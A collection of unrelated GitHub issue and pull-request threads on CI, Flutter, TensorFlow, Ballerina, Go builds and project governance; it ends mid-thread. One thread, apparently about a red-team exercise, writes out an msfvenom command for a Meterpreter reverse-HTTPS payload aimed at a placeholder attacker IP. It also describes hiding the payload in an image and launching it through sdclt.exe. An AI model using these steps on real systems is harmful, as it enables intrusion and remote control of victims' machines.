Centralize notebook run

Replace the bespoke notebooks script with the centralize pyiron/actions/build-notebooks.
Pros:

+7, -37
Updated action versions
Automatically leverages caching for the environment
Single-source of truth for build_notebooks.sh, and increased power that comes with this other, more up-to-date version of that script (I'll stack another PR to show this)
Runs on stacked PRs (this is unrelated to centralization, just something extra I slipped in)

Cons:

One level of misdirection

notebooks/damask_tutorial_multiplerolling.ipynb, notebooks/damask_tutorial_elastoplasticity-isotropic.ipynb, notebooks/damask_tutorial_elastoplasticity-powerlaw.ipynb, and notebooks/damask_tutorial.ipynb all fail with the error:
Executing:   0%|          | 0/28 [00:00<?, ?cell/s]Kernelspec name pyiron cannot be found!
No such kernel named pyiron

I see that in the build_notebooks.sh script I deleted, the papermill invokation specifically forces the kernel to -k "python3". Maybe this is to overcome some undesirable kernel specification already saved in the notebooks? The problem seems specific to the damask notebooks, and the rest of this transition went as I expected, so I don't think there's anything explicitly wrong with the centralized CI here.

@samwaseda @mbruns91, opening and immediately saving the offending damask notebooks did the trick for the CI -- my jupyterlab automatically switched the kernel to python3. Was saving the notebooks with the pyiron kernel critical for some other part of your infrastructure, or is this just some weird artifact of someone's particular dev environment?
I'm open to adding the -k "python3" line to the centralized script, but I want to understand better what's going on before taking any action.

@samwaseda @mbruns91, opening and immediately saving the offending damask notebooks did the trick for the CI -- my jupyterlab automatically switched the kernel to python3. Was saving the notebooks with the pyiron kernel critical for some other part of your infrastructure, or is this just some weird artifact of someone's particular dev environment?
I'm open to adding the -k "python3" line to the centralized script, but I want to understand better what's going on before taking any action.

I'm quite sure the usage of a pyiron kernel is just some artifact. Using a more general python3 kernel (which is supposedly available in more or less any vanilla jupyter env) is definitely a better idea in my opinion.

@mbruns91 in #312 in the commit where you flattened the notebooks, the open phase directory also got committed. Heads-up: I'm going to remove it from this PR.

Oh, this was totally unintended. Thanks for noticing and removing 👍


[Scoreboard] Ura goes on top of Omote on Scoreboard and does not count

https://user-images.githubusercontent.com/89967231/140065846-d09524e3-0fdf-46e5-bb4e-0a7b54e9f3b4.mov

What is your actual score/clear type for Ura ?

Bad example due to FC but it exists

Does the bug occur within the difficulty select screen or within the left scores summary plate ?

i am retarded


Add tests.

coverage is not as it should but I think it is not taking the config options it should.


only latest and_chr is shown

on any page, but for example: https://caniuse.com/#feat=async-functions

My expectation is that it'd show all the versions that supported this feature, just like the other browsers.
Is this expected? Maybe because it'd mostly be a duplicate of Chrome?

Afaik @Fyrd only keeps the latest version for and_chr:
https://github.com/Fyrd/caniuse/blob/master/features-json/async-functions.json#L346
(compare Chrome: https://github.com/Fyrd/caniuse/blob/master/features-json/async-functions.json#L125)
I believe the reasoning is indeed because of the similarities to Chrome versus overhead when maintaining the data.
However, past and future versions of and_chr have been requested:

Past: #3518
Future: #2926

And while digging those up, Fyrd has stated a bit more on the matter in the "past" issue, probably the better reply than my ramblings: https://github.com/Fyrd/caniuse/issues/3518#issuecomment-308931205

thanks for the context @Schweinepriester! I'll go ahead and close this as I'm not adding any additional information than the existing issues.


facing problem while changing font size of Inputcontrol

by default label using this fontSize I am not able to change this.

Hi,
This is related to https://github.com/kgnugur/formik-chakra-ui/issues/91#issuecomment-986073187 .
FormControl does not accept things like FormLabel, FormErrorMessage, and FormHelperText.
Will do an update after taking contributors opinions.

You can use labelProps with version 1.60.


[Desktop] PointerScrollEvent; Not possible to distinguish between Mouse and Trackpad

PointerScrollEvent.kind (PointerDeviceKind) can not distinguish between mouse and trackpad.
The expected scroll behavior of trackpad and mouse might differ though.
The following behavior might be a matter of taste, but does not seem to be implementable with flutter in any case:
Scrolling a mouse wheel downwards should scroll content up / viewport down.
Scrolling a trackpad downwards should scroll content down / viewport up.

Since the device kind can not be differentiated, the scrollOffset can only be applied in the same direction for both input types.
import 'package:flutter/material.dart';

void main() {
  runApp(
    MaterialApp(
      title: 'Trackpad Scroll Events on each Frame',
      theme: ThemeData.dark(),
      home: Scaffold(
        body: Example(),
      ),
    ),
  );
}

class Example extends StatelessWidget {
  const Example({
    Key? key,
  }) : super(key: key);

  @override
  Widget build(BuildContext context) {
    return NotificationListener<ScrollNotification>(
      onNotification: (scrollNotification) {
        if (event is PointerScrollEvent) {
           // Will print "flutter: PointerDeviceKind.mouse" for both mouse and trackpad
           // event.scrollOffset can only be applied in the same direction
           print(event.kind);
        }
      },
      child: SingleChildScrollView(
        child: Column(
          children: [
            for (int i = 0; i < 100; i++)
              Container(
                // width: 100,
                height: 100,
                color: (i % 2 == 0) ? Colors.blue : Colors.black,
                child: Center(
                  child: Text(
                    "$i",
                  ),
                ),
              ),
          ],
        ),
      ),
    );
  }
}

It might well be that this is not possible because the system does not omit different events for mouse and trackpad

Duplicate of https://github.com/flutter/flutter/issues/23604


fix: polyfill EventTarget in Safari 12-13 & excess Event polyfill in …

fixes issues
https://github.com/benlesh/event-target-polyfill/issues/10 https://github.com/benlesh/event-target-polyfill/issues/8

Hey @benlesh! I am also having this issue w/ safari 12 and 13 -- could you take a look at this PR when you get the chance? Thank you!


Can i use with connection-filter plugin ?

Hello. Is there a way to filter the created_at field saved with postgraphile-audit-plugin?

Not out of the box. You can order by that, but I'm not sure what would be required from our side for filtering on it, since we have not had that requirement yet ourselves.
You can filter on the auditEvents sub-connection, but I fear that won't help you.


User-Agent header is set to a default value or empty in http post request

Description:
Case 01
When calling a service's post resource function with user-agent header, the value gets overridden with the default value.
sample service
import ballerina/http;
import ballerina/log;

service / on new http:Listener(9090) {
    resource function post hello(@http:Header {name: "user-agent"} string? userAgent = ())
            returns json {

        log:printInfo("Received header value: " + (userAgent ?: ""));
        return {"hello": "world"};
    }
}

sample test invoking the service using an http client
import ballerina/test;
import ballerina/http;
import ballerina/io;

final http:Client clientEndpoint = check new ("http://localhost:9090");

@test:Config {}
function mytest() returns error? {
    io:println("\nGET request with Headers:");
    http:Response resp = check clientEndpoint->post("/hello", {"user-agent": "slbeta3"});
    io:println((check resp.getJsonPayload()).toJsonString());
}

case 02
When the above service accepts a payload as well, the user-agent header gets set to empty.
sample service
import ballerina/http;
import ballerina/log;

type MyRecord record {|
    string id;
    string name;
|};

service / on new http:Listener(9090) {

    resource function post hello(@http:Payload MyRecord payloadVal, @http:Header {name: "user-agent"} string? userAgent = ())
            returns json {

        log:printInfo("Received header value: " + (userAgent ?: ""));
        return {"hello": "world"};
    }
}

sample client
import ballerina/test;
import ballerina/http;
import ballerina/io;

final http:Client clientEndpoint = check new ("http://localhost:9090");

@test:Config {}
function mytest() returns error? {
    http:Response resp = check clientEndpoint->post("/hello", {"id": "dil", "name": "Ballerina"}, {"user-agent": "slbeta3"});
    io:println((check resp.getJsonPayload()).toJsonString());
}

Steps to reproduce:
Affected Versions:
Ballerina 2201.1.1
OS, DB, other environment details and versions:
Related Issues (optional):
This is a blocker for https://github.com/wso2-enterprise/ballerina-registry/issues/1601
Suggested Labels (optional):

Suggested Assignees (optional):

Case 1:
The second param of Entity body(POST, PUT, ...) client remote functions is Payload. The user agent being a header, it needs to be send as the third param.
http:Response resp = check clientEndpoint->post("/hello", (), {"user-agent": "slbeta3"});

Case 2:
There is a bug as the user agent header is removed from the request and when doing the payload binding, this flow is invoked. Hence when header binding happens the header is not present in the header map as it is being removed and populated to request. Same happen when http:Request is present. Workaround would be to access userAgent via http:Request
log:printInfo("UA: " + req.userAgent);


Abort when running tensorflow.python.ops.gen_nn_ops.conv3d_backprop_input_v2

Issue type
Bug
Have you reproduced the bug with TensorFlow Nightly?
Yes
Source
binary
TensorFlow version
2.11.0
Custom code
Yes
OS platform and distribution
22.04
Mobile device
No response
Python version
3.9
Bazel version
No response
GCC/compiler version
No response
CUDA/cuDNN version
nvidia-cudnn-cu11==<IP_ADDRESS>, cudatoolkit=11.8.0
GPU model and memory
No response
Current behavior?
Due to input tensor with zero shape
Standalone code to reproduce the issue
import tensorflow as tf
import os
import numpy as np
from tensorflow.python.ops import gen_nn_ops
try:
  input_sizes_0 = 2
  input_sizes_1 = 8
  input_sizes_2 = 8
  input_sizes_3 = 8
  input_sizes_4 = 5
  input_sizes = [input_sizes_0,input_sizes_1,input_sizes_2,input_sizes_3,input_sizes_4,]
  filter_tensor = tf.random.uniform([0, 1, 2, 5, 3], dtype=tf.float32)
  filter = tf.identity(filter_tensor)
  out_backprop_tensor = tf.random.uniform([2, 4, 4, 4, 3], dtype=tf.float32)
  out_backprop = tf.identity(out_backprop_tensor)
  strides_0 = 1
  strides_1 = 2
  strides_2 = 2
  strides_3 = 2
  strides_4 = 1
  strides = [strides_0,strides_1,strides_2,strides_3,strides_4,]
  padding = "SAME"
  data_format = "NDHWC"
  dilations_0 = 1
  dilations_1 = 1
  dilations_2 = 1
  dilations_3 = 1
  dilations_4 = 1
  dilations = [dilations_0,dilations_1,dilations_2,dilations_3,dilations_4,]
  out = gen_nn_ops.conv3d_backprop_input_v2(input_sizes=input_sizes,filter=filter,out_backprop=out_backprop,strides=strides,padding=padding,data_format=data_format,dilations=dilations,)
except Exception as e:
  print("Error:"+str(e))

### Relevant log output

```shell
2023-08-13 00:13:03.668988: W tensorflow/compiler/tf2tensorrt/utils/py_utils.cc:38] TF-TRT Warning: Cannot dlopen some TensorRT libraries. If you would like to use Nvidia GPU with TensorRT, please make sure the missing libraries mentioned above are installed properly.
2023-08-13 00:13:04.462547: I tensorflow/compiler/xla/stream_executor/cuda/cuda_gpu_executor.cc:981] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero
2023-08-13 00:13:04.483261: I tensorflow/compiler/xla/stream_executor/cuda/cuda_gpu_executor.cc:981] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero
2023-08-13 00:13:04.483427: I tensorflow/compiler/xla/stream_executor/cuda/cuda_gpu_executor.cc:981] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero
2023-08-13 00:13:04.483905: I tensorflow/core/platform/cpu_feature_guard.cc:193] This TensorFlow binary is optimized with oneAPI Deep Neural Network Library (oneDNN) to use the following CPU instructions in performance-critical operations:  AVX2 FMA
To enable them in other operations, rebuild TensorFlow with the appropriate compiler flags.
2023-08-13 00:13:04.484753: I tensorflow/compiler/xla/stream_executor/cuda/cuda_gpu_executor.cc:981] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero
2023-08-13 00:13:04.484944: I tensorflow/compiler/xla/stream_executor/cuda/cuda_gpu_executor.cc:981] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero
2023-08-13 00:13:04.485057: I tensorflow/compiler/xla/stream_executor/cuda/cuda_gpu_executor.cc:981] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero
2023-08-13 00:13:04.585176: I tensorflow/compiler/xla/stream_executor/cuda/cuda_gpu_executor.cc:981] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero
2023-08-13 00:13:04.585346: I tensorflow/compiler/xla/stream_executor/cuda/cuda_gpu_executor.cc:981] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero
2023-08-13 00:13:04.585468: I tensorflow/compiler/xla/stream_executor/cuda/cuda_gpu_executor.cc:981] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero
2023-08-13 00:13:04.585565: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1613] Created device /job:localhost/replica:0/task:0/device:GPU:0 with 744 MB memory:  -> device: 0, name: NVIDIA GeForce GTX 1660 Ti, pci bus id: 0000:01:00.0, compute capability: 7.5
2023-08-13 00:13:04.615688: F ./tensorflow/core/util/gpu_launch_config.h:129] Check failed: work_element_count > 0 (0 vs. 0)
Aborted

Hi @dmc1778 ,
I tried to replicate the reported behaviour but for me it's working fine and code execution is success.Its working fine with Tf2.11 and tf-nightly as well. Ran the code multiple times and no error. Please refer to attached gist.
Could you please cross verify again. Thanks!

Closing as resolved at head


Add set-flag command

New command is added to the table command group.
It sets flag inside table's data directory.

I am also not sure if we should enable this feature until convertation fix is released, currently it may not work with tables that do not use default storage policy

I am also not sure if we should enable this feature until convertation fix is released, currently it may not work with tables that do not use default storage policy

I think it's OK to not wait for the fix.


Preseed DebConf with kontena-weave and kontena-agent information

Kontena 0.6 release introduced interactive kontena-agent installation, however that breaks Vagrantfile setup on local testing. With this PR DebConf database is preseeded with kontena-weave and kontena-agent information and kontena-agent installation works properly.
Fixes #24

:+1:


configserver fails silently when yaml is invalid

Due to a copy paste error (actually, I don't know how these blanks went into the file) I broke a yaml file that is exposed via configserver.
The effect is:
curl http://localhost:55677/lunchdeals/kubernetes
{"timestamp":"2021-02-26T12:06:25.591+00:00","status":500,"error":"Internal Server Error","message":"","path":"/lunchdeals/kubernetes"}

There is no log output at all for the failing request in configserver whoch logs on INFO level!
The yaml contained a snipped like this:
spring:
                          flyway:
    url: jdbc:mariadb://${db.host}/${db.name}

as you can see the "flyway:" part was indented wrong.
After I fixed the indentation, configserver was able to serve requests again without silent 500 errors.
So it is crucial to get some kind of notice that the configserver cannot parse the yaml file. We only found that by accident after hours of searching for other reasons of why the depending services didn't start.

What version of Spring Cloud are you using?

Sorry forgot to mention, it happened with Spring boot 2.4.2 and Spring cloud 2020.0.1


fix(p2p): Start listening to QUIC when CELESTIA_ENABLE_QUIC is set

Overview
The enableQUIC was not applied in the Listen.
Related: https://github.com/celestiaorg/celestia-node/pull/2837

Checklist

[ ] New and updated code has appropriate documentation
[ ] New and updated code has new and/or updated testing
[ ] Required CI checks are passing
[ ] Visual proof for any user facing features like CLI or documentation updates
[ ] Linked issues closed with keywords

Did you test if it fixes your issue? @oblique

Yes I was able to run a node that had QUIC and WebTransport enabled.

Codecov Report

Merging #2857 (45a3427) into main (0b85448) will increase coverage by 0.22%.
Report is 1 commits behind head on main.
The diff coverage is 100.00%.

@@            Coverage Diff             @@
##             main    #2857      +/-   ##
==========================================
+ Coverage   51.16%   51.38%   +0.22%
==========================================
  Files         167      167
  Lines       10773    10775       +2
==========================================
+ Hits         5512     5537      +25
+ Misses       4764     4738      -26
- Partials      497      500       +3

Files
Coverage Δ

blob/service.go
70.12% <100.00%> (ø)

nodebuilder/p2p/addrs.go
75.00% <100.00%> (+1.19%)
:arrow_up:

... and 7 files with indirect coverage changes


PREVENT TAKE-OVERS WITH THIS ONE WEIRD TRICK (SMITTYVB HATES HIM)

This PR adds an autocracy, as specified in data/autocracy.txt. I've hand-picked the members. If you think you should be included, please leave a comment with an explanation of why. The list will be expanded in the future of course.
At least one positive non-author autocracy review on the most recent commit of a PR is required for that PR to be accepted.
This does not give members of the autocracy much power. As the autocracy has a wide range of opinions, and only one of them is required to approve the PR, the only thing this prevents is things universally seen as bad, like take-overs.

I think I should be added mainly because I'm the leader of the voters ranking. Also, I do not try to approve PRs for the lolz, but only ones I think genuinely are in the best interest of the project. I'm planning on contributing something, but Python is not my native language 😛

@rhengles Fair enough, added.

People downvoting this PR: would you mind leaving a comment as to why?

:-1: (for now)
@PlasmaPower I think the requirement should be at least 2 people from the list. It's easy for one person to miss something, but two are harder to trick... of course, then it's hard to see where the boundary is. Why not 3 or 4 people?
Also, I think that reviewers should have a way of indicating autocracy-review approval separately from personal approval. i.e. I might not personally agree with the PR, but if other people out-vote me, I still want to indicate that it passed autocracy review.

I'm against it because i'm not included, so :-1:
But seriously i think a democracy is important to hear everyones opinion and give him some power to define the way to our all future.
Similar like autocracy, but it isn't excluding anyone.
I'm contributing to open source (and free software) because i think it makes a difference. Excluding me with  things like this PR wastes potential. And including me in your autocracy wouldn't make it better. You could always kick people that don't vote as you want. A little like our representative democracy in germany.

:-1:
That is not fun

@mark-i-m I think 1 is the baseline, we should start there. It will at least prevent obvious takeover amends. We can move it up if stuff still gets through. At the very least, 1 is better than 0.
If I moved reviews to before votes in the vote tallying, would that be better? That way you could approve changes, but still vote them down. I could also make reviews entirely separate from voting.

Hi !
This is a strictly personnal (maybe not very rational and a bit selfish) opinion but,
I think that 9 members are not chaotic enough for chaotic decision making, even if it's a good mecanism to prevent takeovers.
Aren't takeovers a part of chaos ?
Plus I just discovered Chaosbot and I'd like to be involved in this (but I'm not a developper and I don't know anything about python for now.) so i'm not really happy to see my vote taken away so fast :/
If I may I'd like to share an alternative option, that is :
Boost the vote power of a few hand-picked people and and to automatically add more vote power to people on the top of voters list.

@davidak @clthulhuely My intent isn't to take away anyone's voice. The problem I'm trying to solve here is last minute changes to PRs or hidden changes that people miss when voting for.

Aren't takeovers a part of chaos ?

We get to choose what is part of chaos and what is not. We get to choose if we even want chaos. This PR aims to reduce chaos. I don't think most people want takeovers, as many wouldn't restore democracy as I did. The project would die out without the voice of the people, that's the foundation of it.
If I expanded the autocracy to the top 10 voters + the top 10 contributors (there might be some overlap there), would that be better?

I could also make reviews entirely separate from voting.

I think that would work...
I also hear the point made by a lot of others... And this PR has the potential to block PRs simply because I'm not available while I'm at work...
An alternative might be to make the threshold a lot higher unless somebody from the whitelist reviews for autocracy.

👍
I think you could as well call this something like a representative democracy. If this passes, the contributors kind of chose their parliament, while keeping some direct influence.
Important to note that

At least one positive non-author autocracy review on the most recent commit of a PR is required for that PR to be accepted.

So a reaction or comment is not enough, the parliament must post an actual review for a PR to pass.

Because of the controversy of this PR, I'm probably going to create another PR after this one containing the more major changes suggested (like reviews not counting as votes, which I think is a great idea).

I think that keeping the same vote threshold, but adding to the requirement of at least one review from on of the autocrats could be a good alternative that may allow votes to be useful, and may allow to prevent unwanted takeovers.

@PlasmaPower i see your good intention here but i'm not sure if this is the right solution.
Could we give some users whose work is approved by the community a veto right?
That could be a specific emoticon that must be placed in an comment with a explanation why.
Every member has only one veto in a specific timeframe, like one month. (can get changed later)
When every member had used their veto it could get restored for everyone earlier.

@cthulhuely That's exactly what this PR does!
@davidak Seems to me like that's more power. If the goal is to prevent sneaky take-overs, I think at least one approved review is a lot better than no vetos.

@cthulhuely

I think that keeping the same vote threshold, but adding to the requirement at least one review from on of the autocrats could be a good alternative that may allow votes to be useful, and may allow to prevent unwanted takeovers.

Isn't that the original suggestion?

@davidak

Every member has only one veto in a specific timeframe, like one month. (can get changed later)

By "member" you mean everyone on the list? I think that could work. But somebody could conceivably still take over with careful timing... IIUC your key observation is that most take-over-PRs would be rejected by popular vote anyway, right?

I have no time to think about this further because i have to work. The sad state of political activity in our society.

@mark-i-m members are usernames in a textfile, yes.

your key observation is that most take-over-PRs would be rejected by popular vote anyway, right?

yes, a healthy democracy should work this way. but there are some manipulative "politicians" like @PlasmaPower who tells they will do something that sounds good and later it will be worse for everyone. (he ended democracy and became a dictator earlier)
We need a cricital mass of people who has the time to participate in democratic processes and a way to prevent "take-overs" or similar bad things.
I think with that solution everyones vote should have the same power. But there could be a different thing like veto that don't touches the voting power.
We might implement it like @PlasmaPower suggested here but change it later if we have a better solution.

he ended democracy and became a dictator earlier

It should be noted that I didn't to anything under my reign (except accidentally reject a PR - I thought my vote there would be normal, but all votes are processed before the server is restarted). If I wanted power I'd already have it.

@davidak Also, excited for the next season of House of Cards coming out tomorrow? I know I am. :wink:

What if based on reviews by "veterans" (parliament or whatever) following labels would be added:

approved (1 or or more +1 from veterans)
controversial (1 or or more +1 and 1 or or more -1 from veterans)
disapproved (1 or or more -1 from veterans)
not checked (no votes from veterans)

@phil-r I still don't think that solves the main problem. #318 could amend dictatorship and it would easily get passed, simply because most people wouldn't notice or wouldn't have time to change their votes.

@mark-i-m no we're working together to erase everyone's code, remember?

pulled upstream

I like the titles of the open PRs right now:

!!!SEIZE POWER HIJACK AMEND AUTOCRACY PR!!!
MAKE @SMITTYVB LORD CHANCELLOR FOREVER!
PREVENT TAKE-OVERS WITH THIS ONE WEIRD TRICK (SMITTYVB HATES HIM)

Lol, democracy has discovered advertising :laughing:

@mark-i-m inb4 "partner™ with™ Speedy™ for™ a™ Fast™ VPS™"

Okay, closing to setup the meritocracy.


[INLONG-9053][Dashboard] Query list shows creators and modifiers

Prepare a Pull Request
(Change the title refer to the following example)

Title Example: [INLONG-XYZ][Component] Title of the pull request

(The following XYZ should be replaced by the actual GitHub Issue number)

Fixes https://github.com/apache/inlong/issues/9053

Motivation
Explain here the context, and why you're making that change. What is the problem you're trying to solve?
Modifications
Describe the modifications you've done.
Verifying this change
Cluster:

Cluster tag:

Subscription:

Ingestion:

Stream and sources, sink:

Synchronization:

User Management:

Tenant management:

Bugs and other problems


Paella7 backwards support for old captions/dfxp flavored xml files

Issue: DFXP flavored xml files are given am 'xml' format instead of a 'dfxp' caption format.
This pull patches the EpisodeConversor for Paella7 to support backwards compatibility for old mediapackagesa with the historic "captions/dfxp" flavored XML attachments and catalogs.

I changed the target branch to be 14.x to match https://github.com/opencast/opencast/pull/5049


How to know the maximum accepted length for a job title?

In Okular we are using "-J document_title" when printing.
In https://bugs.kde.org/show_bug.cgi?id=452339 seems to say that 100 characters is the max length this user can have for a print job title.
In https://bugs.kde.org/show_bug.cgi?id=326617 (a few years ago) we thought to have found that the limit was 255.
Is this limit in cups? or is it in the printer driver/somewhere else? If it is in cups, is there a way for us to query it programatically?

@tsdgeos The maximum length of the "job-name" attribute (which holds the job title string) is 255 octets (bytes). It's an IPP limit and not something we can change...

Thanks, so we're doing it right, I wonder why that person says that it fails for them at 100 :shrug:


Search by single header

Add a feature that allows a user to see if a domain/set of subdomains contain a specific header.
E.g
python3 main.py -d example.com -u Strict-Transport-Security
python3 main.py -d example.com -u Strict-Transport-Security -set 200 -n 1000
-u or --uni_header
The output would be:
[+] Domain URL (TerminalColours.OKGREEN)

Feature has been implemented


Drop deprecated logger

Use github:crystal-lang/logger.cr as a drop-in replacement.

Also here: https://github.com/crystal-lang/crystal/blob/bab17be529a40a6b3175dfd07b629cc0752df7b5/src/docs_main.cr#L20


Adding key NODE_PATH in javascriptViewEngine

Hi Paul,
I just run the "dotnet run" command and all works fine with the boilerplate but when i run the solution with visual studio 2015 i have an issue with the "already existing NODE_PATH key", i think that can be resolved with this fix https://github.com/aspnet/JavaScriptServices/commit/a881ca5b96e1c2d8253bb1c4cd18c42e8b0a1d8e in this file JavaScriptViewEngine/src/JavaScriptViewEngine/NodeServices/HostingModels/OutOfProcessNodeInstance.cs on line 69.
I hope it help you.
Pol

Ah, thanks for the find. I'll get it in there when I get off of work.
Thanks!


extract/const isProd

Type of PR (enhancement)
Description
just to satisfy ESLint, as isProd is used twice and has no let/const keyword.
Why should this be added
Just to simplify code, and make ESLint happy.

Thank you!


[CI] Add build

Pass: https://github.com/aobolensk/triton_acc/actions/runs/10705831442/job/29682140749


Can I use  same Id across partition

[Enter feedback here]
Under the heading "Properties of item" there is a mention id which is User-defined unique name in a logical partition. So I can use the same id in the different partition(partition key). Right?
So I can use the same id in the different partition(partition key). Is that right?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: d7941d92-a0ea-0f78-12af-7dc8ccb2b1ea
Version Independent ID: d6cc05c7-b724-df22-116f-b8f464293a35
Content: Work with databases, containers, and items in Azure Cosmos DB
Content Source: articles/cosmos-db/databases-containers-items.md
Service: cosmos-db
GitHub Login: @markjbrown
Microsoft Alias: mjbrown

@test123114 Thank you for reaching out.
As mentioned on the document,

Uniqueness of the id property is only enforced within each logical partition. Multiple documents can have the same id property with different partition key values.

Yes, you will be able to use the same id with a different partition key combination.

This is correct. id need only be unique within a partition key value.
#please-close


Using assets from unpkg is breaking swiper

Swiper documentation used to read that JS and CSS could be loaded from unpkg like so:
<EMAIL_ADDRESS>However, the documentation now says that it should be using a different URL:
<EMAIL_ADDRESS>Is the unpkg URL no longer valid? I just had a client report that their carousel was broken and the console is reporting a 503 error from unpkg. All of the sites that I am using Swiper on currently have broken carousels. Is this a temporary problem with unpkg or is the previous URL that was supplied in the documentation no longer valid?

UPDATE:
unpkg is no longer returning a 503 error so I believe the problem was on their end; however, I am curious to know if it is safe to continue using that URL that was originally provided in the documentation. I have a number of sites in production that are using the unpkg URL. Thanks.


Day 1: Privilege Escalation Payload

Issue 1
It is stated that the first step to re-create the monkey.png is msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<attacker IP> LPORT=443 --format psh-cmd -o meterpreter.ps1.
However, by using --format psh-cmd, I was thinking that the output from the command would actually be meant to be ran in a Command Prompt (rather than in a PowerShell). According to a Rapid7 link about generating PowerShell payloads, "the generated payload for psh-cmd format has a .cmd extension." Nonetheless, the psh-cmd format was stated under the section for PowerShell payloads (which had me puzzled).
Looking deeper into this, we see that the very first word in meterpreter.ps1 is %COMSPEC%:

Subsequently, meterpreter.ps1 is embedded into a PNG file using Invoke-PSImage as mentioned.
From what I understand, in Step 3.B, the one-liner will execute the contents of meterpreter.ps1 in a PowerShell after extracting it from the pixels of monkey.png. The one-liner is only executed towards the end of Step 3.B, when %windir%\system32\sdclt.exe is executed.
In this context, this would mean that %COMSPEC% is executed in a PowerShell, which resulted in this error on the victim machine (I removed -noni and -window hidden in this case for debugging purposes):

To confirm the above, I tried to run it verbatim as %COMSPEC%:

The way to get the environment variable in PowerShell would be $env:ComSpec:

In light of the above, I changed the format from psh-cmd to psh, and I managed to get a Meterpreter session opened.
Should the format be psh-cmd (i.e. I missed out something or ran something wrongly, etc.), or is there a typo (i.e. it should be psh)?
Issue 2
I think there is a typo for the Invoke-PSImage command.
The current command in payload_configs.md is Invoke-PSImage -Script .\meterpreter.ps1.ps1 -Out .\monkey.png -Image .\monkey.jpg.
There is an extra .ps1 in the parameter -Script.

@leegengyu Great catch, thanks! I just submitted a fix but you are correct in both cases.
the psh-cmd payload results in cmd /c powershell.exe... whereas the psh payload uses PowerShell to load kernel32.dll and allocate + execute a new thread.
Thanks again, and definitely let us know if you come across any more!


[Backport] ScanQueryFrameProcessor: Close CursorHolders as we go along. (#17152) (#17168)

Backport the following:
#17152
#17168

Please "Rebase and Merge" the PR instead of "Squash and Merge", otherwise these commits will mess up with the find-missing-backports script afair.

Yeah, I used to think so too. But checked the script and also verified with some other backports.
It works as long as each PR is called out in the commit message in the format (#<pr-number>).
e.g. The message Backport multiple commits (#1234) (#5678) would mark both #1234 and #5678 as backported.

@kfaraz I see. Thanks for the clarification


Why cmdline completion doesn't work?

Typer provides a nice utility for command line completion, but somehow it doesn't work with our scripts (at least on my side). Do we need some code fix for this?

ns --install-completion bash/zsh/SHELL generates the autocompletion code.
Reload/Source the shell again.

Did that work for you? Maybe something is broken in my shell setup, but for me doesn't seem to work

Which shell are you using? For zsh, I ended up copying the function to .zshrc.
Here are the new lines:
#compdef ns
_ns_completion() {
  eval $(env _TYPER_COMPLETE_ARGS="${words[1,$CURRENT]}" _NS_COMPLETE=complete_zsh ns)
}
compdef _ns_completion ns

autoload -Uz compinit; compinit

For bash
_ns_completion() {
    local IFS=$'
'
    COMPREPLY=( $( env COMP_WORDS="${COMP_WORDS[*]}" \
                   COMP_CWORD=$COMP_CWORD \
                   _NS_COMPLETE=complete_bash $1 ) )
    return 0
}

Let me know if this doesn't work.

thanks, manually adding those lines seems to work, although the completion is quite slow. Do you know why it might not be doing it automatically when running that --install-completion thing?

My guess is that for zsh, how the function path is added to zshrc is not making it callable. I added a debugging message to the function call and only when I moved the function to zshrc, did I start seeing the debugging message. So my guess is maybe it has to do with executability of the function file. Regarding the speed, I'm seeing threads suggesting that loading typer itself is a bit consuming, and apparently it has to do with the rich library Thread.

cool, thanks for looking into this! As there is not much we can do on our side, let's close this issue


go install unnecessarily rebuilding '.a' files.

Please answer these questions before submitting your issue. Thanks!
What version of Go are you using (go version)?
go version go1.9 linux/amd64
Does this issue reproduce with the latest release?
yes
What operating system and processor architecture are you using (go env)?
GOARCH="amd64"
GOOS="linux"
What did you do?
go install -v

Run from the base directory on a large project with a substantial number of vendored dependencies (within the standard 'vendor' directory).
What did you expect to see?
As far as I can tell, there is no reason that vendored dependencies should be recompiled each time I build my project.
What did you see instead?
The verbose output tells me that every directory and subdirectory within the current project gets rebuilt, including packages within the vendor directory.
Other thoughts
I notice that the '.a' files from vendored packages do exist within $GOPATH/pkg/(MY_PROJECT)/vendor/..., but for some reason they aren't ever being reused.

Can you please check a few things

GOROOT is not set
GOPATH is set, or your source is in $HOME/go/src
There are no symlinks inside your GOPATH, or inside your vendored source.

On Tue, Sep 12, 2017 at 9:37 AM, alankm<EMAIL_ADDRESS>wrote:

Please answer these questions before submitting your issue. Thanks!
What version of Go are you using (go version)?
go version go1.9 linux/amd64
Does this issue reproduce with the latest release?
yes
What operating system and processor architecture are you using (go env)?
GOARCH="amd64"
GOOS="linux"
What did you do?
go install -v
Run from the base directory on a large project with a substantial number
of vendored dependencies (within the standard 'vendor' directory).
What did you expect to see?
As far as I can tell, there is no reason that vendored dependencies should
be recompiled each time I build my project.
What did you see instead?
The verbose output tells me that every directory and subdirectory within
the current project gets rebuilt, including packages within the vendor
directory.
Other thoughts
I notice that the '.a' files from vendored packages do exist within
$GOPATH/pkg/(MY_PROJECT)/vendor/..., but for some reason they aren't ever
being reused.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/golang/go/issues/21840, or mute the thread
https://github.com/notifications/unsubscribe-auth/AAAcA451YlaE0iWOwLpmvtf68MHTlPC-ks5shcQygaJpZM4PT59Q
.

GOROOT="/usr/local/go"
GOPATH="/home/alan/go"
Source is in: /home/alan/go/src/github.com/sisatech/vcli
Would you like me to unset GOROOT and try again?
Searching for symlinks, I turned up quite a few within my GOPATH. None within my vendored source however, and none between $GOPATH and the project folder. I can provide more specific information if you like, but what I'm seeing looks unhelpful to me.

Oh, I should clarify:
I'm not calling "go install -v" on the base directory for my project. My project has multiple binaries, so the layout is:

./cmd
./pkg
./vendor

I'm using a makefile that actually calls, as an example:
